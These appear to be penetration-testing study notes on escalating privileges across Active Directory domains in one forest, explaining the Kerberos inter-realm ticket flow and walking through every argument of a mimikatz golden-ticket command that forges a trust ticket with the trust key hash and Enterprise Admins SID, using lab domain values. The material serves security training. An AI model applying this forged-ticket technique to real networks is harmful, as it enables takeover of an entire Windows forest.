Cross Domain Attacks
General
Domains in the same forest have an implicit two-way trust relationship
There is a trust key between the parent and child domains
There are two ways of escalating privileges between two domains of the same forest
Krbtgt hash
Trust tickets
Authentication Process for Resource in Different Domain
Client requests TGT from DC in own domain
DC sends back TGT
Client shows TGT when requesting TGS for resource in another domain
DC checks global catalog and finds resource in another domain
DC sends back inter-realm TGT encrypted with Trust Key
Client sends inter-realm TGT when requesting TGS for resource to DC of target domain
DC checks if trust key is valid
If yes, sends back TGS
Client presents TGS when accessing target resource
Target resource checks if client can access resource
Exploitation
Child to Forest Root Using Trust Key
Vulnerable step here is step 6, sending the TGT encrypted with trust key
If we have the trust key, we can forge a ticket
Escalate privileges from Domain Admin in current domain to Enterprise Admin or DA in forest root
Arguments
kerberos::golden
Module name
/domain:domain:dollarcorp.moneycorp.local
FQDN of current domain
/sid:S-1-5-21-1874506631-3219952063-538504511
SID of the currentdomain
/User:Administrator
User to impersonate
/target:moneycorp.local
FQDN of the target/parent domain
/sids:S-1-5-21-280534878-1496970234-700767426-519
SID of the Enterprise Admins group of the parent/target domain
/rc4:200a7dab8e762344bd76a62acac42568
RC4 hash of the trust key
/ticket:trust_tgt.kirbi
Save ticket to file for later use
/startoffset:0
Optional when the ticket is available (default 0 right now) in minutes. Use negative for a ticket available from past and a larger number for future.
/endin:600
Optional ticket lifetime (default is 10 years) in minutes. The default AD setting is 10 hours = 600 minutes
/renewmax:10080
Optional ticket lifetime with renewal (default is 10 years) in minutes. The default AD setting is 7 days = 100800
/ptt
Inject ticket in current PowerShell process
Commands
Child to Forest Root Using Krbtgt Hash
Same principle as using trust key
But: no need to explicitly request TGS for specific service
Works like golden ticket
Last updated